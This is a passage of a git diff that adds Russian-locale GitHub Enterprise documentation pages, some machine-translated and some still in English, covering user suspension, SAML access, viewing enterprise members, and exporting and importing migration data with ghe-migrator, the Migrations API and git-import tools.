user message** field to see the rendered message. +![Preview button](/assets/images/enterprise/site-admin-settings/suspended-user-message-preview-button.png) +8. Review the rendered message. +![Suspended user message rendered](/assets/images/enterprise/site-admin-settings/suspended-user-message-rendered.png) +{% data reusables.enterprise_site_admin_settings.save-changes %} + +## Unsuspending a user from the command line + +{% data reusables.enterprise_installation.ssh-into-instance %} +2. Run [ghe-user-unsuspend](/enterprise/admin/guides/installation/command-line-utilities#ghe-user-unsuspend) with the username to unsuspend. + ```shell + $ ghe-user-unsuspend USERNAME + ``` + +## Further reading +- "[Suspend a user](/rest/reference/enterprise-admin#suspend-a-user)" diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md new file mode 100644 index 000000000000..39a210fec788 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md @@ -0,0 +1,61 @@ +--- +title: Viewing and managing a user's SAML access to your enterprise +intro: 'You can view and revoke an enterprise member''s linked identity, active sessions, and authorized credentials.' +permissions: Enterprise owners can view and manage a member's SAML access to an organization. +redirect_from: + - /github/setting-up-and-managing-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/viewing-and-managing-a-users-saml-access-to-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise + - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise +versions: + ghec: '*' +topics: + - Enterprise +shortTitle: View & manage SAML access +--- +## About SAML access to your enterprise account + +When you enable SAML single sign-on for your enterprise account, each enterprise member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.location.product_location %}. {% data reusables.saml.about-saml-access-enterprise-account %} + +If your enterprise is uses {% data variables.product.prodname_emus %}, your members will use accounts provisioned through your IdP. {% data variables.enterprise.prodname_managed_users_caps %} will not use their existing user account on {% data variables.product.product_name %}. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." + +## Viewing and revoking a linked identity + +{% data reusables.saml.about-linked-identities %} + +If your enterprise uses {% data variables.product.prodname_emus %}, you will not be able to deprovision or remove user accounts from the enterprise on {% data variables.product.product_name %}. Any changes you need to make to your enterprise's {% data variables.enterprise.prodname_managed_users %} should be made through your IdP. + +{% data reusables.identity-and-permissions.revoking-identity-team-sync %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.people-tab %} +{% data reusables.saml.click-person-revoke-identity %} +{% data reusables.saml.saml-identity-linked %} +{% data reusables.saml.view-sso-identity %} +{% data reusables.saml.revoke-sso-identity %} +{% data reusables.saml.confirm-revoke-identity %} + +## Viewing and revoking an active SAML session + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.people-tab %} +{% data reusables.saml.click-person-revoke-session %} +{% data reusables.saml.saml-identity-linked %} +{% data reusables.saml.view-saml-sessions %} +{% data reusables.saml.revoke-saml-session %} + +## Viewing and revoking authorized credentials + +{% data reusables.saml.about-authorized-credentials %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.people-tab %} +{% data reusables.saml.click-person-revoke-credentials %} +{% data reusables.saml.saml-identity-linked %} +{% data reusables.saml.view-authorized-credentials %} +{% data reusables.saml.revoke-authorized-credentials %} +{% data reusables.saml.confirm-revoke-credentials %} + +## Further reading + +- "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md new file mode 100644 index 000000000000..7d70d6d397ec --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md @@ -0,0 +1,160 @@ +--- +title: Viewing people in your enterprise +intro: 'To audit access to enterprise-owned resources or user license usage, enterprise owners can view every administrator and member of the enterprise.' +permissions: Enterprise owners can view the people in an enterprise. +redirect_from: + - /github/setting-up-and-managing-your-enterprise-account/viewing-people-in-your-enterprise-account + - /articles/viewing-people-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/viewing-people-in-your-enterprise + - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/viewing-people-in-your-enterprise +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise +shortTitle: View people in your enterprise +--- + +## About the list of people in your enterprise + +To audit access to your enterprise's resources and manage license usage, you can see a list of all the people who have access to your enterprise. + +You can see all current enterprise members and enterprise administrators{% ifversion ghec %}, as well as pending invitations to become members and administrators{% endif %}. To make it easier to consume this information, you can search and filter the lists. + +{% ifversion ghec %} + +If {% data variables.product.prodname_github_connect %} is configured for your enterprise, when you filter a list of people in your enterprise, the following limitations apply. + +- The filter for two-factor authentication (2FA) status does not show people who only have an account on a {% data variables.product.prodname_ghe_server %} instance. +- If you combine the filter for accounts on {% data variables.product.prodname_ghe_server %} instances with either the filter for organizations or 2FA status, you will not see any results. + +For more information about {% data variables.product.prodname_github_connect %}, see the following articles. + +- "[About {% data variables.product.prodname_github_connect %}](/enterprise-server/admin/configuration/configuring-github-connect/about-github-connect)" in the {% data variables.product.prodname_ghe_server %} documentation +- "[About {% data variables.product.prodname_github_connect %}](/github-ae@latest/admin/configuration/configuring-github-connect/about-github-connect)" in the {% data variables.product.prodname_ghe_managed %} documentation + +{% endif %} + +{% ifversion enterprise-member-csv %} +You can also export membership information for your enterprise. For more information, see "[Exporting membership information for your enterprise](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise)." +{% endif %} + +## Viewing enterprise administrators + +You can view all the current enterprise owners{% ifversion ghec %} and billing managers{% endif %} for your enterprise.{% ifversion enterprise-membership-view-improvements %} You can see useful information about each administrator{% ifversion ghec %} and filter the list by role{% endif %}.{% endif %} You can find a specific person by searching for their username or display name. + +{% ifversion ghes > 3.5 %} +Enterprise owners whose accounts are suspended are included in the list of enterprise administrators, and are identified as suspended. You should consider demoting any suspended owners you see. For more information, see "[Promoting or demoting a site administrator](/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator#demoting-a-site-administrator-from-the-enterprise-settings)." +{% endif %} + +{% ifversion not ghae %} +You can also remove an administrator. For more information. see "[Inviting people to manage your enterprise](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#removing-an-enterprise-administrator-from-your-enterprise-account)." +{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.people-tab %} +{% data reusables.enterprise-accounts.administrators-tab %} + +## Viewing members {% ifversion enterprise-membership-view-improvements %}{% else %}and outside collaborators{% endif %} + +You can see all the current members {% ifversion enterprise-membership-view-improvements %}{% else %}or outside collaborators{% endif %} for your enterprise. You can see useful information about each account and filter the list in useful ways, such as by role. You can find a specific person by searching for their username or display name. + +You can view more information about the person's access to your enterprise, such as the organizations the person belongs to, by clicking on the person's name. + +{% ifversion remove-enterprise-members %} +You can also remove any enterprise member from all organizations owned by the enterprise. For more information, see "[Removing a member from your enterprise](/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise)." +{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.people-tab %}{% ifversion enterprise-membership-view-improvements %}{% else %} +1. Optionally, to view a list of outside collaborators rather than the list of members, click **Outside collaborators**. + + ![Outside collaborators tab on the enterprise members page](/assets/images/help/business-accounts/outside-collaborators-tab.png){% endif %} + +{% ifversion enterprise-membership-view-improvements %} +## Viewing outside collaborators + +You can see all the current outside collaborators for your enterprise. You can see useful information about each collaborator and filter the list in useful ways, such as by organization. You can find a specific collaborator by searching for their username or display name. + +You can view more information about the person's access to your enterprise, such as a list of all the repositories the collaborator has access to, by clicking on the person's name. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.people-tab %} +1. Under "People", click **Outside collaborators**. + + ![Outside collaborators tab in the enterprise settings sidebar]{% ifversion ghec%}(/assets/images/help/business-accounts/outside-collaborators-tab-sidebar-dotcom.png){% else %}(/assets/images/help/business-accounts/outside-collaborators-tab-sidebar-dotcom.png){% endif %} + +{% endif %} + +{% ifversion ghec %} +## Viewing pending invitations + +You can see all the pending invitations to become members, administrators, or outside collaborators in your enterprise. You can filter the list in useful ways, such as by organization. You can find a specific person by searching for their username or display name. + +In the list of pending members, for any individual account, you can cancel all invitations to join organizations owned by your enterprise. This does not cancel any invitations for that same person to become an enterprise administrator or outside collaborator. + +{% note %} + +**Note:** If an invitation was provisioned via SCIM, you must cancel the invitation via your identity provider (IdP) instead of on {% data variables.product.prodname_dotcom %}. + +{% endnote %} + +If you use {% data variables.visual_studio.prodname_vss_ghe %}, the list of pending invitations includes all {% data variables.product.prodname_vs %} subscribers that haven't joined any of your organizations on {% data variables.product.prodname_dotcom %}, even if the subscriber does not have a pending invitation to join an organization. For more information about how to get {% data variables.product.prodname_vs %} subscribers access to {% data variables.product.prodname_enterprise %}, see "[Setting up {% data variables.visual_studio.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise)." + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.people-tab %} +1. Under "People", click **Pending invitations**. + + ![Screenshot of the "Pending invitations" tab in the sidebar](/assets/images/help/enterprises/pending-invitations-tab.png) +1. Optionally, to cancel all invitations for an account to join organizations owned by your enterprise, to the right of the account, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Cancel invitation**. + + ![Screenshot of the "Cancel invitation" button](/assets/images/help/enterprises/cancel-enterprise-member-invitation.png) +1. Optionally, to view pending invitations for enterprise administrators or outside collaborators, under "Pending members", click **Administrators** or **Outside collaborators**. + + ![Screenshot of the "Members", "Administrators", and "Outside collaborators" tabs](/assets/images/help/enterprises/pending-invitations-type-tabs.png) + +## Viewing suspended members in an {% data variables.enterprise.prodname_emu_enterprise %} + +If your enterprise uses {% data variables.product.prodname_emus %}, you can view suspended users. Suspended users are members who have been deprovisioned after being unassigned from the {% data variables.product.prodname_emu_idp_application %} application or deleted from the identity provider. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users)." + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.people-tab %} +1. To view a list of suspended members, above the list of active members, click **Suspended**. + ![Screenshot showing "Suspended" option](/assets/images/help/enterprises/view-suspended-members.png) + +{% endif %} + +## Viewing dormant users + +You can view a list of all dormant users {% ifversion ghes or ghae %} who have not been suspended and {% endif %}who are not site administrators. {% data reusables.enterprise-accounts.dormant-user-activity-threshold %} For more information, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)." + +{% ifversion filter-by-enterprise-member-type %} +## Filtering by member type{% ifversion ghec %} in an {% data variables.enterprise.prodname_emu_enterprise %}{% endif %} + +{% ifversion ghec %}If your enterprise uses {% data variables.product.prodname_emus %}, you{% elsif ghes or ghae %}You{% endif %} can filter the member list of an organization by type to determine if memberships are managed through an IdP or managed directly. Memberships managed through an IdP were added through an IdP group, and the IdP group was connected to a team within the organization. Memberships managed directly were added to the organization manually. The way a membership is mananaged in an organization determines how it must be removed. You can use this filter to determine how members were added to an organization, so you know how to remove them.{% ifversion ghec %} For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users#about-organization-membership-management)."{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise %} +1. Under "Organizations," in the search bar, begin typing the organization's name until the organization appears in the search results, then click the name of the organization. + ![Screenshot of the search field for organizations](/assets/images/help/enterprises/organization-search.png) +1. Under the organization name, click {% octicon "person" aria-label="The Person icon" %} **People**. + ![Screenshot of the People tab](/assets/images/help/enterprises/emu-organization-people-tab.png) +1. Above the list of members, click **Type**, then select the type of members you want to view. + ![Screenshot of the "Type" button](/assets/images/help/enterprises/filter-by-member-type.png) + +{% endif %} + +{% ifversion ghec or ghes %} +## Viewing members without an email address from a verified domain + +You can view a list of members in your enterprise who don't have an email address from a verified domain associated with their user account on {% data variables.product.prodname_dotcom_the_website %}. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.verified-domains-tab %} +1. Under "Notification preferences", click the {% octicon "eye" aria-label="The github eye icon" %} **View enterprise members without an approved or verified domain email** link. +{% endif %} + +## Further reading + +- "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)" diff --git a/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md new file mode 100644 index 000000000000..f0f6adac03d9 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md @@ -0,0 +1,51 @@ +--- +title: About migrations +intro: 'A migration is the process of transferring data from a *source* location (either a {% data variables.product.prodname_dotcom_the_website %} organization or a {% data variables.product.prodname_ghe_server %} instance) to a *target* {% data variables.product.prodname_ghe_server %} instance. Migrations can be used to transfer your data when changing platforms or upgrading hardware on your instance.' +redirect_from: + - /enterprise/admin/migrations/about-migrations + - /enterprise/admin/user-management/about-migrations + - /admin/user-management/about-migrations +versions: + ghes: '*' +type: overview +topics: + - Enterprise + - Migration +--- +## Types of migrations + +There are three types of migrations you can perform: + +- A migration from a {% data variables.product.prodname_ghe_server %} instance to another {% data variables.product.prodname_ghe_server %} instance. You can migrate any number of repositories owned by any user or organization on the instance. Before performing a migration, you must have site administrator access to both instances. +- A migration from a {% data variables.product.prodname_dotcom_the_website %} organization to a {% data variables.product.prodname_ghe_server %} instance. You can migrate any number of repositories owned by the organization. Before performing a migration, you must have [administrative access](/enterprise/user/articles/permission-levels-for-an-organization/) to the {% data variables.product.prodname_dotcom_the_website %} organization as well as site administrator access to the target instance. +- *Trial runs* are migrations that import data to a [staging instance](/enterprise/admin/guides/installation/setting-up-a-staging-instance/). These can be useful to see what *would* happen if a migration were applied to {% data variables.location.product_location %}. **We strongly recommend that you perform a trial run on a staging instance before importing data to your production instance.** + +## Migrated data + +In a migration, everything revolves around a repository. Most data associated with a repository can be migrated. For example, a repository within an organization will migrate the repository *and* the organization, as well as any users, teams, issues, and pull requests associated with the repository. + +The items in the table below can be migrated with a repository. Any items not shown in the list of migrated data can not be migrated, including {% data variables.large_files.product_name_short %} assets. + +{% data reusables.enterprise_migrations.fork-persistence %} + +| Data associated with a migrated repository | Notes | +|---------------------------------------------|--------| +| Users | **@mentions** of users are rewritten to match the target. +| Organizations | An organization's name and details are migrated. +| Repositories | Links to Git trees, blobs, commits, and lines are rewritten to match the target. The migrator follows a maximum of three repository redirects. Internal repositories are migrated as private repositories. Archive status is unset. +| Wikis | All wiki data is migrated. +| Teams | **@mentions** of teams are rewritten to match the target. +| Milestones | Timestamps are preserved. +| Project boards | Project boards associated with the repository and with the organization that owns the repository are migrated. +| Issues | Issue references and timestamps are preserved. +| Issue comments | Cross-references to comments are rewritten for the target instance. +| Pull requests | Cross-references to pull requests are rewritten to match the target. Timestamps are preserved. +| Pull request reviews | Pull request reviews and associated data are migrated. +| Pull request review comments | Cross-references to comments are rewritten for the target instance. Timestamps are preserved. +| Commit comments | Cross-references to comments are rewritten for the target instance. Timestamps are preserved. +| Releases | All releases data is migrated. +| Actions taken on pull requests or issues | All modifications to pull requests or issues, such as assigning users, renaming titles, and modifying labels are preserved, along with timestamps for each action. +| File attachments | [File attachments on issues and pull requests](/articles/file-attachments-on-issues-and-pull-requests) are migrated. You can choose to disable this as part of the migration. +| Webhooks | Only active webhooks are migrated. +| Repository deploy keys | Repository deploy keys are migrated. +| Protected branches | Protected branch settings and associated data are migrated. diff --git a/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md new file mode 100644 index 000000000000..695f9c93a62b --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md @@ -0,0 +1,98 @@ +--- +title: Экспорт данных миграции из GitHub.com +intro: 'Данные миграции можно экспортировать из организации на {% data variables.product.prodname_dotcom_the_website %}. Для этого выберите нужные репозитории с помощью API, а затем создайте архив миграции, который можно импортировать в экземпляр {% data variables.product.prodname_ghe_server %}.' +redirect_from: + - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-com + - /enterprise/admin/migrations/exporting-migration-data-from-githubcom + - /enterprise/admin/migrations/preparing-the-githubcom-source-organization + - /enterprise/admin/migrations/exporting-the-githubcom-organizations-repositories + - /enterprise/admin/guides/migrations/preparing-the-github-com-source-organization + - /enterprise/admin/guides/migrations/exporting-the-github-com-organization-s-repositories + - /enterprise/admin/user-management/exporting-migration-data-from-githubcom + - /admin/user-management/exporting-migration-data-from-githubcom +versions: + ghes: '*' +type: how_to +topics: + - API + - Enterprise + - Migration +shortTitle: Export data from GitHub.com +ms.openlocfilehash: f39ec628f3b1b59767b30ef35689a63f3e57da4f +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008958' +--- +## Подготовка исходной организации к {% data variables.product.prodname_dotcom %} + +1. Убедитесь, что у вас есть [разрешения владельца](/articles/permission-levels-for-an-organization/) в репозиториях исходной организации. + +2. {% data reusables.enterprise_migrations.token-generation %} в {% data variables.product.prodname_dotcom_the_website %}. + +{% data reusables.enterprise_migrations.make-a-list %} + +## Экспорт репозиториев организации + +{% data reusables.enterprise_migrations.fork-persistence %} + +Чтобы экспортировать данные репозитория из {% data variables.product.prodname_dotcom_the_website %}, используйте [API миграций](/free-pro-team@latest/rest/migrations). + +API миграций в настоящее время доступен в предварительной версии. Это означает, что конечные точки и параметры могут быть изменены в будущем. +## Создание архива миграции + +{% data reusables.enterprise_migrations.locking-repositories %} + +1. Уведомите членов вашей организации о том, что вы планируете выполнять миграцию. Экспорт может занять несколько минут в зависимости от количества экспортируемых репозиториев. Полная миграция, включая импорт, может занять несколько часов, поэтому рекомендуется выполнить пробный запуск, чтобы определить, сколько времени займет весь процесс. Дополнительные сведения см. в статье об [Сведения о миграции](/enterprise/admin/migrations/about-migrations#types-of-migrations). + +2. Запустите миграцию, отправив запрос `POST` к [конечной точке миграции](/free-pro-team@latest/rest/migrations#start-an-organization-migration). Что вам понадобится: + * Маркер доступа для проверки подлинности + * [Список репозиториев](/free-pro-team@latest/rest/repos#list-organization-repositories), которые требуется перенести: + ```shell + curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" \ + -X POST \ + -H "Accept: application/vnd.github+json" \ + -d'{"lock_repositories":true,"repositories":["ORG_NAME/REPO_NAME", "ORG_NAME/REPO_NAME"]}' \ + https://api.github.com/orgs/ORG_NAME/migrations + ``` + * Если вы хотите заблокировать репозитории перед их переносом, убедитесь, что для параметра `lock_repositories` задано значение `true`. Настоятельно рекомендуется сделать это. + * Вы можете исключить вложения файлов, передав `exclude_attachments: true` в конечную точку. {% data reusables.enterprise_migrations.exclude-file-attachments %} Окончательный размер архива должен быть меньше 20 ГБ. + + Этот запрос возвращает уникальный объект `id`, представляющий миграцию. Он потребуется для последующих вызовов API миграций. + +3. Отправьте запрос `GET` в [конечную точку статуса миграции](/free-pro-team@latest/rest/migrations#get-an-organization-migration-status), чтобы получить статус миграции. Что вам понадобится: + * Маркер доступа для проверки подлинности + * Уникальный `id` миграции: + ```shell + curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" \ + -H "Accept: application/vnd.github+json" \ + https://api.github.com/orgs/ORG_NAME/migrations/ID + ``` + + Миграция может находиться в одном из указанных ниже состояний. + * `pending` — это означает, что миграция еще не запущена. + * `exporting` — это означает, что миграция находится в процессе выполнения. + * `exported` — это означает, что миграция успешно завершена. + * `failed` — это означает, что миграция завершилась сбоем. + +4. После экспорта миграции скачайте архив миграции, отправив запрос `GET` к [конечной точке загрузки миграции](/free-pro-team@latest/rest/migrations#download-an-organization-migration-archive). Что вам понадобится: + * Маркер доступа для проверки подлинности + * Уникальный `id` миграции: + ```shell + curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" \ + -H "Accept: application/vnd.github+json" \ + -L -o migration_archive.tar.gz \ + https://api.github.com/orgs/ORG_NAME/migrations/ID/archive + ``` + +5. Архив миграции автоматически удаляется через семь дней. Если вы предпочитаете удалить его раньше, можно отправить запрос `DELETE` в [конечную точку удаления архива миграции](/free-pro-team@latest/rest/migrations#delete-an-organization-migration-archive). Что вам понадобится: + * Маркер доступа для проверки подлинности + * Уникальный `id` миграции: + ```shell + curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" \ + -X DELETE \ + -H "Accept: application/vnd.github+json" \ + https://api.github.com/orgs/ORG_NAME/migrations/ID/archive + ``` +{% data reusables.enterprise_migrations.ready-to-import-migrations %} diff --git a/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md new file mode 100644 index 000000000000..857f19fd917b --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md @@ -0,0 +1,105 @@ +--- +title: Exporting migration data from your enterprise +intro: 'To change platforms or move from a trial instance to a production instance, you can export migration data from a {% data variables.product.prodname_ghe_server %} instance by preparing the instance, locking the repositories, and generating a migration archive.' +redirect_from: + - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-enterprise + - /enterprise/admin/migrations/exporting-migration-data-from-github-enterprise-server + - /enterprise/admin/migrations/preparing-the-github-enterprise-server-source-instance + - /enterprise/admin/migrations/exporting-the-github-enterprise-server-source-repositories + - /enterprise/admin/guides/migrations/preparing-the-github-enterprise-source-instance + - /enterprise/admin/guides/migrations/exporting-the-github-enterprise-source-repositories + - /enterprise/admin/user-management/exporting-migration-data-from-your-enterprise + - /admin/user-management/exporting-migration-data-from-your-enterprise +versions: + ghes: '*' +type: how_to +topics: + - API + - Enterprise + - Migration +shortTitle: Export from your enterprise +--- +## Preparing the {% data variables.product.prodname_ghe_server %} source instance + +1. Verify that you are a site administrator on the {% data variables.product.prodname_ghe_server %} source. The best way to do this is to verify that you can [SSH into the instance](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/). + +2. {% data reusables.enterprise_migrations.token-generation %} on the {% data variables.product.prodname_ghe_server %} source instance. + +{% data reusables.enterprise_migrations.make-a-list %} + +## Exporting the {% data variables.product.prodname_ghe_server %} source repositories + +{% data reusables.enterprise_migrations.locking-repositories %} + +{% data reusables.enterprise_installation.ssh-into-instance %} +2. To prepare a repository for export, use the `ghe-migrator add` command with the repository's URL: + * If you're locking the repository, append the command with `--lock`. If you're performing a trial run, `--lock` is not needed. + ```shell + $ ghe-migrator add https://HOSTNAME/USERNAME/REPO-NAME --lock + ``` + * You can exclude file attachments by appending `--exclude_attachments` to the command. {% data reusables.enterprise_migrations.exclude-file-attachments %} + * To prepare multiple repositories at once for export, create a text file listing each repository URL on a separate line, and run the `ghe-migrator add` command with the `-i` flag and the path to your text file. + ```shell + $ ghe-migrator add -i PATH/TO/YOUR/REPOSITORY_URL.txt + ``` + +3. When prompted, enter your {% data variables.product.prodname_ghe_server %} username: + ```shell + Enter username authorized for migration: admin + ``` +4. When prompted for a {% data variables.product.pat_generic %}, enter the access token you created in "[Preparing the {% data variables.product.prodname_ghe_server %} source instance](#preparing-the-github-enterprise-server-source-instance)": + ```shell + Enter {% data variables.product.pat_generic %}: ************** + ``` +5. When `ghe-migrator add` has finished it will print the unique "Migration GUID" that it generated to identify this export as well as a list of the resources that were added to the export. You will use the Migration GUID that it generated in subsequent `ghe-migrator add` and `ghe-migrator export` steps to tell `ghe-migrator` to continue operating on the same export. + ```shell + > 101 models added to export + > Migration GUID: EXAMPLE-MIGRATION-GUID + > Number of records in this migration: + > users | 5 + > organizations | 1 + > repositories | 1 + > teams | 3 + > protected_branches | 1 + > pull_request_reviews | 1 + > milestones | 1 + > issues | 3 + > pull_requests | 5 + > pull_request_review_comments | 4 + > commit_comments | 2 + > issue_comments | 10 + > issue_events | 63 + > releases | 3 + > attachments | 4 + > projects | 2 + ``` + Each time you add a new repository with an existing Migration GUID it will update the existing export. If you run `ghe-migrator add` again without a Migration GUID it will start a new export and generate a new Migration GUID. **Do not re-use the Migration GUID generated during an export when you start preparing your migration for import**. + +3. If you locked the source repository, you can use the `ghe-migrator target_url` command to set a custom lock message on the repository page that links to the repository's new location. Pass the source repository URL, the target repository URL, and the Migration GUID from Step 5: + + ```shell + $ ghe-migrator target_url https://HOSTNAME/USERNAME/REPO-NAME https://TARGET-HOSTNAME/TARGET-USER-NAME/TARGET-REPO-NAME -g MIGRATION-GUID + ``` + +6. To add more repositories to the same export, use the `ghe-migrator add` command with the `-g` flag. You'll pass in the new repository URL and the Migration GUID from Step 5: + ```shell + $ ghe-migrator add https://HOSTNAME/USERNAME/OTHER-REPO-NAME -g MIGRATION-GUID --lock + ``` +7. When you've finished adding repositories, generate the migration archive using the `ghe-migrator export` command with the `-g` flag and the Migration GUID from Step 5: + ```shell + $ ghe-migrator export -g MIGRATION-GUID + > Archive saved to: /data/github/current/tmp/MIGRATION-GUID.tar.gz + ``` + * {% data reusables.enterprise_migrations.specify-staging-path %} + +8. Close the connection to {% data variables.location.product_location %}: + ```shell + $ exit + > logout + > Connection to HOSTNAME closed. + ``` +9. Copy the migration archive to your computer using the [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp) command. The archive file will be named with the Migration GUID: + ```shell + $ scp -P 122 admin@HOSTNAME:/data/github/current/tmp/MIGRATION-GUID.tar.gz ~/Desktop + ``` +{% data reusables.enterprise_migrations.ready-to-import-migrations %} diff --git a/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/importing-data-from-third-party-version-control-systems.md b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/importing-data-from-third-party-version-control-systems.md new file mode 100644 index 000000000000..b52121374401 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/importing-data-from-third-party-version-control-systems.md @@ -0,0 +1,84 @@ +--- +title: Импорт данных из сторонних систем управления версиями +intro: 'С помощью набора средств git-import можно импортировать данные из Subversion, Mercurial и системы управления версиями Team Foundation в репозитории Git на {% data variables.product.prodname_ghe_server %}.' +redirect_from: + - /enterprise/admin/migrations/importing-data-from-third-party-version-control-systems + - /enterprise/admin/user-management/importing-data-from-third-party-version-control-systems + - /admin/user-management/importing-data-from-third-party-version-control-systems +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Migration +shortTitle: Import from another VCS +ms.openlocfilehash: a3a75779674330bdfddc4b22ba08639c9cc41290 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008852' +--- +## Импорт проектов из Mercurial + +{% data reusables.enterprise_installation.ssh-into-instance %} +2. Создайте необработанный клон проекта с помощью приведенной ниже команды, указав URL-адрес исходного проекта и путь к временному репозиторию: + ```shell + $ git-import-hg-raw HG-CLONE-URL/PATH/REPO-NAME.git + # Creates a new repository with one or more Git refs in "refs/import/" in the specified path. + ``` +{% data reusables.enterprise_migrations.review-the-import-csv %} +4. Перезапись авторов и ветвей с помощью CSV-файла: + ```shell + $ git-import-rewrite --flavor hg --authors /PATH/AUTHORS-MAP-FILE.csv /PATH/REPO-NAME.git + ``` +5. [Создайте пустой репозиторий для {% data variables.product.prodname_ghe_server %}](/enterprise/user/articles/creating-a-new-repository), если он еще не создан. +{% data reusables.command_line.switching_directories_procedural %} +7. Передайте импортированный репозиторий в {% data variables.product.prodname_ghe_server %}: + ```shell + $ git push --mirror PUSH-URL-ON-GITHUB-ENTERPRISE + ``` + +## Импорт проектов из Subversion + +{% data reusables.enterprise_installation.ssh-into-instance %} +2. Создайте необработанный клон проекта с помощью приведенной ниже команды, указав URL-адрес исходного проекта и путь к временному репозиторию: + ```shell + $ git-import-svn-raw SVN-CLONE-URL /PATH/REPO-NAME.git + # Creates a new repository with one or more Git refs in "refs/import/" in the specified path. + ``` +{% data reusables.enterprise_migrations.review-the-import-csv %} +4. Перезапись авторов и ветвей с помощью CSV-файла: + ```shell + $ git-import-rewrite --flavor svn --authors /PATH/AUTHORS-MAP-FILE.csv /PATH/REPO-NAME.git + ``` +5. [Создайте пустой репозиторий для {% data variables.product.prodname_ghe_server %}](/enterprise/user/articles/creating-a-new-repository), если он еще не создан. +{% data reusables.command_line.switching_directories_procedural %} +7. Передайте импортированный репозиторий в {% data variables.product.prodname_ghe_server %}: + ```shell 